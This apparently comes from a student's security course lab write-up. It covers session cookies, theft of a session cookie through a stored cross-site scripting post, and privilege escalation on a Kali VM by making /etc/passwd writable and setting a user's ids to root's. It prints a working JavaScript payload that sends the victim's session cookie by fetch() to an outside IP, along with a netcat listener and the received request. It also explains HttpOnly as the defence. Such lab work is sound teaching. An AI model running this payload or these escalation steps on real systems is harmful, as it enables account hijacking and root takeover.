I. Session Cookies Working As Intended

a. What new cookie did you see when you logged in as Alice?

Upon logging in as Alice, I see a cookie named "session" whose value is some encoded text

b. What is a session cookie?

A session cookie is a small text files sent by the server to be stored on the browser that gets deleted once you exit the website or the browser. It can contain information about user inputs such as login status, shopping carts, and etc.

c. What happens when you copy Alice's cookies to the new browser window and reload?

If you copy Alice's cookies to the new browser window and reload, you get logged in as Alice.

d. How session cookies work

1. User signs in at the login page. The browser sends a HTTP POST request to the server, which contains username and password information.
2. The server responds with 302 FOUND HTTP response with a header called "Set-Cookie" that contains the name value pair of session cookie and the path of the cookie. The session cookie will be set by the server regardless of user's login status. However, the session cookie contains session ID, which is used to verify user's identity. If the session ID is not associated with any valid user at the server side at the given moment, the serve won't allow user with the wrong session ID to access restricted domains.
3. If the user selected "Remember me" on the login page, then the server will also respond with another "Set-Cookie" header, containing name value pair of remember token with expiration date, path, and HttpOnly flag.
4. After receiving the name value pair of session cookie (and remember token) from the server through the "Set-Cookie" flag, the browser includes session cookie (and remember token cookie if it was set) in "Cookie" header of subsequent HTTP GET requests until the user exits the site or quits the browser.
5. Suppose the user exited the website (or quit the browser). Suppose the remember token cookie was set in previous session and the remember token cookie has not expired. When the user tries to login to the same website, the browser sends a HTTP GET request with remember token cookie.
6. If the remember token cookie is valid, the server responds with 200 OK with a new session cookie, specified in the "Set-Cookie" header of the HTTP Response. Then, the interaction between the browser and the server proceeds in the manner of step 3.
7. When use presses the log out button, the browser sends a HTTP GET request to a logout page.
8. The server responds with 302 FOUND, with appropriate number of "Set-Cookie" headers to delete the cookie values and reset cookie expiration date for all the set cookies related to the session.

e. What opportunities do session cookies open to you?

If you get hold of a valid user's session cookie, you can pretend to be a valid user while carrying out malicious campaigns on a server, making it difficult for administrators to blame you for any potential damages (repudiation).

If you have the capacity to conduct AITM, then you could invalidate user's session cookies so that the user can not login (Denial of Service).

II. Stealing Session Cookies

a. Show an exact copy of your FDF post as Eve. Give a brief explanation of what the Javascript in your FDF post does.

```
<script>
document.cookie.split(';').forEach(function(e) {
    let parts = e.split('=');
    let name = parts[0].trim();
    if (name === 'session') {
        fetch('http://192.168.187.128:80/?s=' + parts[1], {method:'get'})
            .catch(function(error) {});
        }
    });
</script>
```

When this malicious post is opened by an unaware user:

1. Get the cookies of the user
2. Iterate through the cookies until you encounter the session cookie
3. Send an HTTP GET request to my kali VM with the user's seesion cookie as a url parameter

b. What did you do on Eve's machine to prepare to receive Alice's information?

```
nc -lvnp 80
```

The above command listens for any connections to port 80.

c. Show the form in which Alice's information arrived on Kali.

```
GET /?s=<Alice's Session cookie>  HTTP/1.1
Host: 192.168.187.128
Origin: http://cs338.jeffondich.com
Connection: keep-alive
Accept: */*
Accept-Language: en-US,en;q=0.9
```

```
Referer: http://cs338.jeffondich.com/
Accept-Encoding: gzip, deflate
```

d. What can Eve do now to login to FDF as Alice?

Eve can now login as Alice using Alice's session cookie. Eve can either use proxy like Burpsuite to modify HTTP request or open the inspector tool to change the value of the session cookie to that of Alice's session cookie.

e. Diagram clearly the sequence of events in Eve's attack on Alice via the FDF

1. Eve first posts a malicious script on the FDF and uses netcat to listen to oncoming traffic at port 80.
2. Alice opens the malicious post, and the scripts gets executed by the browser.
    - As explained above, the script fetches the session cookie and sends a get request to Eve's machine
3. A HTTP GET request is sent to the specified ip address and port number.
4. netcat, which is running of Eve's machine, receives the requests, displaying Alice's session cookie as part of the requested url.
5. Eve uses Alice's cookie to log into the FDF by changing her session cookie value to be Alice's.

f. Research and explain "HttpOnly." Show exactly where in you diagram of the attack that the use of HttpOnly would prevent Eve's attack from working.

HttpOnly flag forbids Javascript from accessing cookies. If this attribute was set with "Set-Cookie" header, then the following code would not have worked:

```
document.cookie.split(';')
```

Thus, if HttpOnly flag was set, Eve's malicious code would not have executed when Alice unknowingly opened the post.

III. Privilege Escalation via a Misconfigured /etc/passwd File

a. Show the Unix permissions of /etc/passwd and /etc/shadow on Kali VM

```
ls -als /etc/passwd /etc/shadow
```

```
4 -rw-r--r-- 1 root root   3224 Nov 13 08:57 /etc/passwd
4 -rw-r----- 1 root shadow 1507 Nov 13 09:15 /etc/shadow
```

b. Which command do you execute as 'kali' user to make /etc/passwd globally writeable?

```
sudo chmod 766 /etc/passwd
```

c. How do you enable kermit to change the password for the "root" account?

1. Open a terminal and open /etc/passwd file to write.
2. Change the user and group id to 0, 0 (root's user and group id)
3. Close the current terminal and open a new terminal for a fresh session.
4. Note that you have kermit's previous uid and gid, but whoami cannot find name for kermit's previous uid.

d. Show kermit can login as root

login as kermit using kermit's password:

```
su kermit
```

Because uid and gid have been changed to be those of root's, kermit should not be logged in as root.